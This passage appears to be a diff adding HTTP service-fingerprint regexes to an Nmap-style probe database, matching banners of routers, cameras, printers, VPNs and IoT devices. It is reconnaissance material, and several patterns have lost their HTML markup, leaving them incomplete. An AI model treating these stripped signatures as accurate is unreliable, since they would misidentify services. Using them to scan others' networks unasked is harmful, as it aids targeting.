Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Digest qop=\"auth\", realm=\"rokudev\", nonce=\"1412736333\"\r\n\r\n| p/Mongoose httpd/ v/3.7/ i/Roku developer interface, firmware 5.2 or later/ cpe:/a:cesanta:mongoose:3.7/ +match http m|^HTTP/1\.1 200 Ok\r\nServer: httpd\r\nDate: .* GMT\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n| p/milli_httpd/ cpe:/a:acme:milli_httpd/ +# Some misconfiguration perhaps? +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/plain\r\nDate: .* GMT\r\nConnection: close\r\n\r\nNot implemented$| p/Node.js/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/html; charset=utf-8\r\nCache-Control: no-cache\r\nWWW-Authenticate: Digest realm=\"Tixati Web Interface\", qop=\"auth\", nonce=\"[0-9a-f]{32}\", opaque=\"[0-9a-f]{32}\"\r\n\r\n| p/Tixati bittorrent client Web interface/ cpe:/a:tixati:tixati/ +match http m|^HTTP/1\.1 401 Not Authorized\r\nWWW-Authenticate: Basic realm=\"Vuze(?: - Vuze Web Remote)?\"\r\nContent-Length: 15\r\n\r\nAccess Denied\r\n| p/Vuze remote http admin/ cpe:/a:azureus:vuze/ +match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .* GMT\r\nContent-Length: 1164\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n| p/Oracle WebLogic admin httpd/ cpe:/a:oracle:weblogic_server/ +match http m|^HTTP/1\.1 \d\d\d .*\r\nConnection: Keep-Alive\r\nServer: \r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n\r\n| p/Siemens Gigaset C610 VoIP Phone http admin/ d/VoIP phone/ cpe:/h:siemens:gigaset_c610/a +match http m=^HTTP/1\.1 400 Bad Request\r\nS(?:ERVER|erver): HDHomeRun/([\w._-]+)\r\n= p/SiliconDust HDHomeRun set top box http admin/ v/$1/ d/media device/ cpe:/h:silicondust:hdhomerun/ +match http m|^HTTP/1\.1 404 Not Found\r\nServer: HDHomeRun/([\d.]+)\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n| p/SiliconDust HDHomeRun set top box streaming httpd/ v/$1/ d/media device/ cpe:/h:silicondust:hdhomerun/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nContent-type: text/html\r\nContent-Length: 97\r\nWWW-Authenticate: Digest qop=\"auth\", stale=false, algorithm=MD5, realm=\"(ECOR[\w_-]+)\", nonce=\"\d+\"\r\nConnection: keep-alive\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \n| p/EverFocus $1 DVR http viewer/ d/media device/ cpe:/h:everfocus:$1/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: Raumfeld Renderer\r\nConnection: close\r\nContent-Type: audio/x-flac\r\n| p/Raumfeld Connector audio streaming httpd/ d/media device/ cpe:/h:teufel:raumfeld_connector/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Linux, WEBACCESS/([\w._-]+), (DIR-\w+) Ver ([\w._-]+)\r\n| p/D-Link SharePort web access/ v/$1/ i/model $2, version $3/ d/storage-misc/ o/Linux/ cpe:/a:d-link:shareport_web_access:$1/ cpe:/h:d-link:$2/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 400 Bad Request\r\nConnection: close\r\nContent-Length: 0\r\n\r\n$| p/T-Home Telekom Media Receiver httpd/ d/media device/ +match http m%^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=\"utf-8\"\r\nServer: Linux/((2\.[46]\.\d+|\d\.\d+)\S*) DoaHTTP\r\nContent-Length: 0\r\nDate: .* GMT\r\n\r\n$% p/com.sec.android.app.FileTransferServer/ i/Linux $1/ o/Android/ cpe:/o:google:android/ cpe:/o:linux:linux_kernel:$2/ +match http m|^HTTP/1\.0 \d\d\d .*\r\nServer: WebIOPi/([\w._-]+)/Python(\d[\w._-]*)\r\n| p/WebIOPi IoT framework/ v/$1/ i/Python $2/ cpe:/a:python:python:$2/ cpe:/a:trouch:webiopi:$1/ +match http m|^HTTP/1\.0 200 OK\r\nPragma: no-cache\r\nContent-Type: text/html\r\n\r\n\n.*\n\n| p/Fortinet SSL VPN/ d/security-misc/ +# Netasq/Stormshield +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nDate: .*\r\nConnection: Close\r\nLocation: /auth/\r\nCache-Control: no-store,no-cache,must-revalidate\r\nPragma: no-cache\r\nExpires: -1\r\nLast-Modified: Mon, 12 Jan 2000 13:42:42 GMT\r\nContent-Type: text/html\r\n\r\n| p/Stormshield firewall admin httpd/ d/firewall/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a +# Despite the 1.4 server header, this can be anything from 1.4 to 2.0: +match http m|^HTTP/1\.1 200 OK\r\nETag: W/\"\d\d\d\d-\d+\"\r\nLast-Modified: .*\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nDate: .*\r\nServer: Sun-Java-System/Web-Services-Pack-1\.4\r\nConnection: close\r\n\r\n\n\nJava Web Services Developer Pack ([\d.]+)| p/Java Web Services Developer Pack/ v/$1/ cpe:/a:sun:jwsdp:$1/ +match http m|^HTTP/1\.0 301 Moved Permanently\r\nHTTP/1\.0 400 Bad Request\r\n| p/Huawei S5700-series switch httpd/ d/switch/ +match http m|^HTTP/1\.0 \d\d\d .*\r\nServer: switch\r\nDate: [a-z,0-9: ]+ GMT\r\nContent-Length: \d\d?\r\nConnection: Close\r\n\r\n| p/Huawei S5700-series switch httpd/ d/switch/ +match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: alphapd\r\nDate: .* \d\d\d\d\r\nCache-Control: no-cache\r\nContent-type: text/html\r\nWWW-Authenticate: Basic realm=\"(TV-IP\w+)\"\r\n\r\n| p/alphapd httpd/ i/TrendNet $1 IP camera/ d/webcam/ cpe:/h:trendnet:$1/ +match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: alphapd\r\nDate: .* \d\d\d\d\r\nCache-Control: no-cache\r\nContent-type: text/html\r\nWWW-Authenticate: Basic realm=\"(DCS-\w+)\"\r\n\r\n| p/alphapd httpd/ i/D-Link $1 IP camera/ d/webcam/ cpe:/h:d-link:$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Web Server\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n | p/ATEN CN8000 KVM http admin/ cpe:/h:aten:cn8000/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nDate: .*\r\n\r\n\n\n\n \n \r\n\r\n0\r\n\r\n| p/ez Share Wi-Fi SD card/ d/storage-misc/ +match http m|^HTTP/1\.1 302 Moved Temporarily\r\nConnection: Close\r\nDate: .* GMT\r\nContent-Type: text/html\r\nLocation: http://null/storage/emulated/0\r\nContent-Length: 103\r\n\r\nYou are being redirected to http://null/storage/emulated/0\r\n| p/smarterDroid WiFi File Transfer/ d/phone/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 200 OK\r\nConnection: Close\r\nDate: .*\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n\r\n - ([^<]+?) - WiFi File Transfer| p/smarterDroid WiFi File Transfer/ i/$1/ d/phone/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 200 OK\r\nConnection: Close\r\nDate: .*\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n\r\n - ([^<]+?) - WiFi File Transfer Pro| p/smarterDroid WiFi File Transfer Pro/ i/$1/ d/phone/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 404 Not Found\r\n.*

          Sinatra doesn’t know this ditty\.

          \n |s p/Sinatra web framework/ cpe:/a:bmizerany:sinatra/ +match http m|^HTTP/1\.1 200 OK\r\nDate: [A-Z][a-z]{2}, 1 [A-Z]{3} 2015 18:6:13 GMT\r\nServer: Plex\r\nKeep-Alive: timeout=60\r\nContent-Length: 692\r\nContent-Type: text/html\r\nAccept-Ranges: bytes\r\n\r\n\n\nPlex\n\n\n

          /

          \n
          | p/Plex for Roku/ d/media device/
          +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Unknown\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\n\r\n\n\n\n\n\nLifeSize®| p/LifeSize teleconferencing config httpd/ d/webcam/
          +match http m|^HTTP/1\.1 200 OK\r\nCache-control: max-age=300\r\nServer: Ubicom/([\d.]+)\r\nContent-Length: \d+\r\n\r\n\n\n\t\n\t\tVeo Observer Web Client| p/Ubicom embedded httpd/ v/$1/ i/Veo Observer webcam/ d/webcam/ cpe:/h:veo:observer/
          +match http m|^HTTP/1\.0 200 OK\r\nContent-Length: 59\r\nContent-Type: text/plain\r\n\r\nIf you see this page, Seafile HTTP syncing component works\.| p/Seafile HTTP syncing component/ cpe:/a:seafile:seafile/
          +match http m|^HTTP/1\.1 200 OK\r\nDate: Wed, 17 Jan 2007 22:21:12 GMT\r\nServer: Smeagol/([\w._-]+)\r\nAccept-Ranges: bytes\r\nConnection: Close\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n\n\nBlue's IP Buffer Front Page| p/Smeagol httpd/ v/$1/ i/Telcen Blue's IP Buffer/ d/telecom-misc/
          +# For fallback (same device as above):
          +match http m|^HTTP/1\.1 501 Not Implemented\r\nFoo: /usr/www/errors/501\.html\r\nConnection: Close\r\nContent-Type: text/plain\r\n\r\n501 Not Implemented\r\n\r\nThe requested method isn't implemented\.\r\n| p/Smeagol httpd/
          +match http m|^HTTP/1\.[01] \d\d\d [^\r\n]+\r\nServer: HTTP server\r\nDate: [^\r\n]+ \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n.*\r\n\r\n|s p/Dell 1355cnw MFC config httpd/ d/printer/ cpe:/h:dell:1355cnw/
          +match http m|^HTTP/1\.[01] \d\d\d .+\r\nDate: .+\r\nServer: Netgem/1\.0 \([Hh][Tt][Tt][Pp]server\)\r\n| p/Netgem netbox set-top box config httpd/ d/media device/
          +match http m|^HTTP/1\.0 200 OK\r\nDate: [^\r\n]+ ([A-Z]+) \d\d\d\d\r\nServer: User Agent Web Server\r\n.*STB WebServer|s p/Cisco ODN set-top box httpd/ i/time zone: $1/ d/media device/
          +match http m|^HTTP/1\.1 302 Movtmp\r\nContent-Type: text/html\r\nLocation: https://[\d.]+:443/\r\nConnection: close\r\nUpgrade: TLS/([\d.]+)\r\n\r\n| p/Kyocera TASKalfa printer httpd/ i/redirect to HTTPS, TLS $1/ d/printer/
          +match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\nServer: TSEWS\r\nContent-Length: \d+\r\nDate: .*\r\nExpires: .*\r\n| p/Technisat Embedded Web Server/ d/media device/
          +match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\nLast-Modified: .*\r\nContent-length: \d+\r\n\r\n\n\n\n    Aastra IP Phone Configurator\n    | p/Aastra IP Phone config httpd/ d/VoIP phone/
          +match http m|^HTTP/1\.1 404 Not Found\r\ncontent-type: text/html\r\ncontent-length: \d+\r\nserver: PyCharm ([\w._-]+)\r\ndate: | p/PyCharm/ v/$1/ cpe:/a:jetbrains:pycharm:$1/
          +match http m|^HTTP/1\.1 200 OK\r\nContent-Encoding: \r\nContent-Length: \d+\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n\n\n\n    \n    \n    [^<]*qBittorrent| p/qBittorrent Web UI/ cpe:/a:qbittorrent:qbittorrent/
          +match http m|^HTTP/1\.0 404 Not Found\r\nServer: Cowboy\r\nDate: [^\r\n]+\r\nContent-Length: \d+\r\nContent-Type: text/html; charset=utf-8\r\n.*<title>Heroku \x7c No such app|s p/Cowboy httpd/ i/Heroku/ cpe:/a:ninenines:cowboy/
          +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=iso-8859-1\r\nCache-control: no-cache\r\nContent-Length: \d+\r\n\r\n\r\n\r\n\r\nARCHTTP Configuration| p/Areca RAID Controller HTTP configuration tool/
          +match http m|^HTTP/1\.1 200 OK\nServer: axhttpd/([\w._-]+)\nContent-Type: text/html\nContent-Length: \d+\nDate: .*\nLast-Modified: .*\n\n| p/axTLS axhttpd/ v/$1/ cpe:/a:cameron_rich:axtls:$1/
          +match http m|^HTTP/1\.1 200 OK\r\nAccess-Control-Allow-Methods: GET, POST, HEAD, OPTIONS\r\nAllow: GET, POST, HEAD, OPTIONS\r\nContent-Length: 0\r\nServer: PhpStorm ([\w._-]+)\r\nDate: | p/PhpStorm IDE httpd/ v/$1/ cpe:/a:jetbrains:phpstorm:$1/
          +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nSet-Cookie: DLILPC=\"\"; Version=1; Max-Age=0; Path=/\r\n\r\n.*Power Controller \n \n|s p/Digital Loggers Web Power Switch II http config/ d/power-device/
          +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nCache[- ]Control: .*\r\nExpires: .*\r\nPragma: no-cache\r\nSet-Cookie: DLILPC=""; Version=1; Max-Age=0; Path=/\r\n\r\n\n\n\n \nPower Controller | p/Digital Loggers Web Power Switch/ d/power-misc/
          +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Router\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"Fast Wireless (?:\w+ )?Router (FW\w+)\"\r\nContent-Type: text/html\r\n\r\n\n\n\r\n\t\r\n\t\t\r\n\t\t| p/TP-Link TL-SG3210 switch admin httpd/ d/switch/ cpe:/h:tp-link:tl-sg3210/
          +match http m|^HTTP/1\.0 200 OK\r\nServer: Web Switch\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\n\n\nPlease Login First\.\n\n| p/D-Link DI-524 WAP http config/ d/WAP/ cpe:/h:dlink:di-524/a
          +match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: HTTPD\r\nDate: .* GMT\r\nWWW-Authenticate: Basic realm="USER LOGIN"\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \nAuthorization required\.\n\n| p/LimitlessLED smart lightbulb bridge httpd/ d/specialized/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/html;charset=UTF-8\r\nContent-Length: \d+\r\n\r\n\n\n\n\n| p/D-Link DES-1100 switch http config/ d/switch/ cpe:/h:dlink:des-1100/a +match http m|^HTTP/1\.0 401 Authorization Required\r\nWWW-Authenticate: BASIC realm="Admin"\r\n\r\nPassword Error\.| p/D-Link DP-301P+ print server httpd/ d/print server/ cpe:/h:d-link:dp-301p/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: -1\r\n\r\n\r\n\r\n| p/KCodes NetUSB http interface/ cpe:/o:kcodes:netusb/ +match http m|^HTTP/1\.0 302 Found\r\nLocation: https:///\r\nContent-Type: text/html\r\nContent-Length: 136\r\n\r\nRedirect

          Redirect

          You should go to https:///

          | p/Aruba AirWave httpd/ cpe:/a:arubanetworks:airwave/ +match http m|^HTTP/1\.1 401 Authorization Required\r\nWWW-Authenticate: Basic realm="FHEM: login required"\r\nContent-Length: 0\r\n\r\n| p/FHEM home automation httpd/ cpe:/a:rudolf_koenig:fhem/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Length: \d+\r\nLast-Modified: .* GMT\r\nContent-Type: text/html\r\nCache-Control: private, max-age=0, no-cache\r\nAccept-Ranges: bytes\r\nDate: .* GMT\r\n\r\n\n\n \n Arch| p/Arch webinterface to Kodi/ cpe:/a:abricot:arch/ +match http m|^HTTP/1\.0 [45]\d\d .*\r\nDate: .* GMT\r\nContent-Length: \d+\r\n\r\n\n\n\n\n

          [45]\d\d [^<]*

          | p/Prosody XMPP BOSH httpd/ cpe:/a:prosody:prosody/ +match http m|^HTTP/1\.1 302 FOUND\r\nLocation:/public/login\.html\r\nContent-Length: 0\r\n\r\n| p/Triax TSS 400 SATIP server httpd/ d/media device/ cpe:/h:triax:tss_400/ +# seen on webcam, wifi range extender, etc. +match http m|^HTTP/1\.1 200 OK\r\nServer: TP-LINK HTTPD/1\.0\r\nConnection: close\r\n| p/TP-LINK embedded httpd/ +match http m|^HTTP/1\.1 200 OK\r\ncache-control: no-cache\r\ncontent-length: \d+\r\ncontent-type: text/html\r\ndate: (.* GMT)\r\nlast-modified: \1\r\n\r\n| p/EHS embedded httpd/ v/1.4.5 or earlier/ cpe:/a:fritz_elfert:ehs/ +match http m%^HTTP/1\.0 200 OK\r\nCache-Control: must-revalidate\r\n(?:Set-Cookie: [a-f0-9]{8}/accept-language=; path=/\r\n)?ETAG: [a-f0-9]{8}\r\n(?:Cache-Control: must-revalidate\r\n)?Content-Type: text/html; charset=utf-8\r\nContent-Length: \d+\r\n\r\n\n\n\n\n\n\n\n\n\n\n[^<]*\n % p/Repetier Server $2 3d printer controller/ v/$1/ cpe:/a:hot-world:repetier_server:$1::$2/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/plain; charset=utf-8\r\nWww-Authenticate: Basic realm="Authorization Required"\r\nX-Content-Type-Options: nosniff\r\nDate: .* GMT\r\nContent-Length: 15\r\n\r\nNot Authorized\n$| p/Syncthing WebUI/ cpe:/a:syncthing:syncthing/ +match http m|^HTTP/1\.1 403 Forbidden\r\nConnection: close\r\nContent-Length: 202\r\n\r\n<\?xml version='1\.0' encoding='UTF-8' \?>403 Forbidden0-25012Invalid URL: | p/TeamDrive/ cpe:/a:teamdrive:teamdrive/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Router\r\nConnection: close\r\nWWW-Authenticate: Basic realm="FAST Wireless N Router (FW\d+R)"\r\nContent-Type: text/html\r\n\r\n| p/Fastcom $1 WAP http admin/ d/WAP/ cpe:/h:fastcom:$1/ +# port 49152. also Neato Botvac D3 Connected; want more specific matches. +#match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .* GMT\r\n\r\n$| p/Linksys E8350 WAP or TP-LINK router/ cpe:/h:linksys:e8350/a +match http m|^HTTP/1\.0 404 not found\r\nDate: .* GMT\r\nConnection: close\r\nX-UA-Compatible: IE=edge\r\nX-Frame-Options: SAMEORIGIN\r\nCache-control: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 19\r\n\r\n

          Not Found

          \n| p/Fossil SCM httpd/ cpe:/a:d_richard_hipp:fossil/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n D-Link VoIP Router | p/D-Link VoIP Router http admin/ d/VoIP adapter/ +match http m|^HTTP/1\.1 200 OK\r\ncontent-type: text/html; charset=utf-8\r\nconnection: close\r\ncache-control: no-cache, must-revalidate\r\ncontent-length: \d+\r\n\r\n\n\n\nTomcat - YourKit Java Profiler ([\d.]+) build (\d+)| p/YourKit Java Profiler/ v/$1 build $2/ cpe:/a:yourkit:java_profiler:$1:$2/ +match http m|^HTTP/1\.0 200 OK\r\nContent-length: \d+\r\nContent-type: text/html\r\nCache-Control:no-cache\r\nPragma:no-cache\r\n\r\n\r\n\n| p/Netgear $1 WAP http admin/ d/WAP/ cpe:/h:netgear:$1/a +match http m|^HTTP/1\.1 307 Temporary Redirect\r\nLocation:/login/login\.html\r\nSet-Cookie:bmc\.webapp\.src=/;Path=/;Secure;\r\nDate:\S.*\r\nServer:BMC Client Management (\d[\w.]+)\r\nConnection:Close\r\nContent-Length:0\r\n\r\n| p/BMC Client Management/ v/$1/ cpe:/a:bmc:client_management:$1/ +match http m|^HTTP/1\.0 500 Internal Server Error\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: Sky\r\n\r\n| p/BSkyB router http admin/ d/broadband router/ +# The "1.1" is meaningless: this was for version 4.0 +match http m|^HTTP/1\.1 [45]01 .*\r\nServer: BlueIris-HTTP/1\.1\r\nDate: .*\r\nP3P:| p/Blue Iris camera webserver/ d/webcam/ +match http m|^HTTP/1\.0 302 Found\r\naccess-control-allow-credentials: .*\r\nserver: dglux_server/(\d+)\r\n\r\n|s p/DGLux5/ v/$1/ cpe:/a:dglogik:dglux5:$1/ +match http m|^HTTP/1\.1 200 Ok\r\nDate: .*\r\nContent-Type: text/html\r\n\r\n\n\n\t\n\t\tWeb Application Manager\n\t\t\n| p/NightOwl DVR http viewer/ d/webcam/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: 14\r\n\nPath Not Found| p/8x8 Virtual Office Desktop/ +match http m|^HTTP/1\.0 \d\d\d .*\r\n(?:Location: .*)?\r\nDate: .*\r\nServer: Ericom Access Server x64\r\n| p/Ericom Access Server/ i/arch: x64/ cpe:/a:ericom:access_server/ +match http m|^HTTP/1\.0 \d\d\d .*\r\n(?:Location: .*)?\r\nDate: .*\r\nServer: Ericom Access Server\r\n| p/Ericom Access Server/ cpe:/a:ericom:access_server/ +# 3.2.5.5 and 4.1.3 +match http m|^HTTP/1\.1 404 Not Found\r\nServer: ES Name Response Server\r\nContent-Type: text/html\r\nContent-Length: 9\r\nConnection: close\r\n\r\nNot found| p/ES File Explorer Name Response httpd/ d/phone/ cpe:/a:estrongs:es_file_explorer/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 85\r\nContent-Type: text/html\r\n\r\nNot Found

          404 Not Found

          | p/Proficy License Server/ cpe:/a:ge:intelligent_platforms_proficy_license_server/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: xxxxxxxx-xxxxx\r\nLast-Modified: .*\r\nETag: "[a-f0-9-]{16}"\r\nAccept-Ranges: bytes\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n\n| p/Fortinet Fortiguard 900D SSL VPN/ d/firewall/ cpe:/h:fortinet:fortiguard_900d/ +match http m|^HTTP/1\.[01] \d\d\d .*\r\nDate: .*\r\nServer: xxxxxxxx-xxxxx\r\n| p/Fortinet security device httpd/ d/security-misc/ +match http m|^HTTP/1\.1 302 Found\r\nLocation: https://:8010/\r\nConnection: close\r\n\r\n$| p/Fortinet FortiGuard block page/ d/security-misc/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 13\r\nConnection: close\r\n\r\nBAD REQUEST :>| p/Flightradar24 fr24feed settings httpd/ cpe:/a:flightradar24:fr24feed/ +match http m|^HTTP/1\.0 404\r\nServer: Standard ERP ([\d.]+) \d{4}-\d\d-\d\d\r\nDate: | p/HansaWorld Standard ERP/ v/$1/ cpe:/a:hansaworld:standard_erp:$1/ +match http m|^HTTP/1\.1 200 OK\r\nX-UA-Compatible: IE=edge\r\nX-Graylog-Node-ID: [a-f\d-]{36}\r\n(?:Vary: Accept-Encoding\r\n)?Content-Type: text/html\r\nDate: .*\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n| p/Graylog2 web interface/ cpe:/a:graylog:graylog2/ +match http m|^HTTP/1\.0 411 Length Required\r\nDate: .*\r\nServer: RedBack Application Server ([\d.]+)\r\n| p/IBM RedBack Application Server SOAP/ v/$1/ cpe:/a:ibm:redback_application_server:$1/ +match http m|^HTTP/1\.0 403 Forbidden\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n

          Forbidden

          Rejected request from RFC1918 IP to public server address| p/OpenWrt admin httpd/ i/rejected RFC1918 address/ +match http m|^HTTP/1\.1 302 Object Moved\r\nLocation: https://.*\r\nContent-Type: text/html\r\nCache-Control: private\r\nConnection: close\r\n\r\n This object may be found here | p/Citrix NetScaler https redirect/ d/load balancer/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\n\r\n\nCisco .*>Cisco IP Phone CP-(\d+) \(|s p/Cisco Unified IP Phone httpd/ i/model: $1/ cpe:/h:cisco:unified_ip_phone_$1/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\n\r\n[A-Z\d]+\r\n<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="utf-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1\.0">\n <meta name="description" content="ympd - fast and lightweight MPD webclient">\n <meta name="author" content="andy@ndyk\.de">| p/ympd/ cpe:/a:ndyk.de:ympd/ +match http m|^HTTP/1\.1 303 See Other\r\nLocation : /postage/\r\n\r\n$| p/Workflow Envelope httpd/ cpe:/a:workflow_products:envelope/ +match http m|^HTTP/1\.1 200\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n<!DOCTYPE html>\n<html lang="en"><!-- See http://www\.w3schools\.com/tags/ref_language_codes\.asp -->\n<head>\n <meta http-equiv="Content-Type" content="text/html" charset="UTF-8">\n <title>XX-Net| p/XX-Net web proxy tool/ +match http m|^HTTP/1\.1 200 OK\r\nAccept-Ranges: bytes\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Length: \d+\r\nContent-Type: text/html; charset=ISO-8859-1\r\nDate: .*\r\nExpires: 0\r\nPragma: no-cache\r\nServer: 4D/([\d.]+)\r\n\r\n\n\n\nTOPIX8| p/4D RDBMS web server/ v/$1/ i/TOPIX8 CRM/ cpe:/a:4d_sas:4d:$1/ cpe:/a:topix:topix8/ +match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: PHPSESSID=\w+; path=/; secure\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache\r\nContent-type: text/html\r\nContent-Length: \d+\r\nConnection: close\r\nDate: .*\r\nServer: Server\r\n\r\n| p/Ubiquiti Edge router httpd/ d/router/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Plack::Handler::Starlet\r\nSet-Cookie: RT_SID_ticket\.([\w._-]+?)\.\d+=| p/Plack Starlet/ i/Request Tracker/ h/$1/ cpe:/a:best_practical:request_tracker/ +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/plain; charset=utf-8\r\nX-Content-Type-Options: nosniff\r\nDate: .*\r\nContent-Length: 19\r\n\r\n404 page not found\n| p|Golang net/http server| i/Go-IPFS json-rpc or InfluxDB API/ cpe:/a:golang:go/ cpe:/a:influxdata:influxdb/ cpe:/a:protocol_labs:go-ipfs/ +match http m=^HTTP/1\.0 200 OK\r.*\nServer: WildFly/(\d+)\r.*\nLiferay-Portal: Liferay (Community|Enterprise) Edition Portal ([\d.]+) (?:[A-Z]E )?([A-Z]{1,2}\d+)=s p/Liferay Portal $2 Edition/ v/$3 $4/ i/JBoss WildFly Application Server $1/ cpe:/a:liferay:liferay_portal:$3:$4:$2/ cpe:/a:redhat:jboss_wildfly_application_server:$1/ +# Samsung SL-C430W +match http m|^HTTP/1\.1 200 OK\r\nContent-Type:text/html\r\nExpires: Thu, 1 Jan 1998 00:00:00 GMT\r\nPragma: no-cache\r\nServer: LPC Http Server/V1\.0\r\n.*<TITLE>KONICA MINOLTA Page Scope Web Connection for (\d+)|s p/Konica Minolta $1 printer http admin/ d/printer/ cpe:/h:konicaminolta:$1/a +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nCache-Control:no-cache\r\nPragma:no-cache\r\nExpires:[smtwf].*\r\n\r\n\n\n\n\n\n\nRedirecting to SSL secured connection\.\n

          | p/Plesk Parallels Virtual Automation https redirect/ +match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: Powered by Highwinds-Software\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nX-HW:|s p/Highwinds CDN httpd/ +match http m|^HTTP/1\.[01] 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: \d+\r\nCache-Control: max-age=0, no-store, no-cache\r\nx-enc: Ext1, Basic\r\nServer: Dell (\w+) Mono MFP, sn=(\w+)\r\n\r\n| p/Dell $1 printer httpd/ i/serial: $2/ d/printer/ cpe:/h:dell:$1/a +match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: https?:///hub/\r\nContent-Length: 0\r\n\r\n| p/Qlik Sense httpd/ cpe:/a:qlik:qlik_sense/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Cricut Hyperion v([\d.]+)\r\n.*"Plugin" : \n\t\{\n\t\t"Debug" : false,\n\t\t"Version" : "([\d.]+)"\n\t\},|s p/Cricut Hyperion httpd/ v/$1/ i/Plugin version $2/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nContent-Length: \d+\r\nDate: .*\r\n\r\n\r\n\r\n

          Reports Server 'RK\d+SRV' \(PID: \d+, Version: ([\d.]+)\)| p/R-Keeper Reports Server/ v/$1/ cpe:/a:ucs:r-keeper:$1/ +match http m|^HTTP/1\.0 200 Ok\r\nServer: jjhttpd v([\d.]+)\r\n| p/jjhttpd/ v/$1/ i/D-Link or TRENDNet WAP/ d/WAP/ +match http m|^HTTP/1\.0 200 OK\r\nServer: WindRiver-WebServer/([\d.]+)\r\nConnection: close\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm="[^"]+"\r\n\r\n.*Device Information\r\n

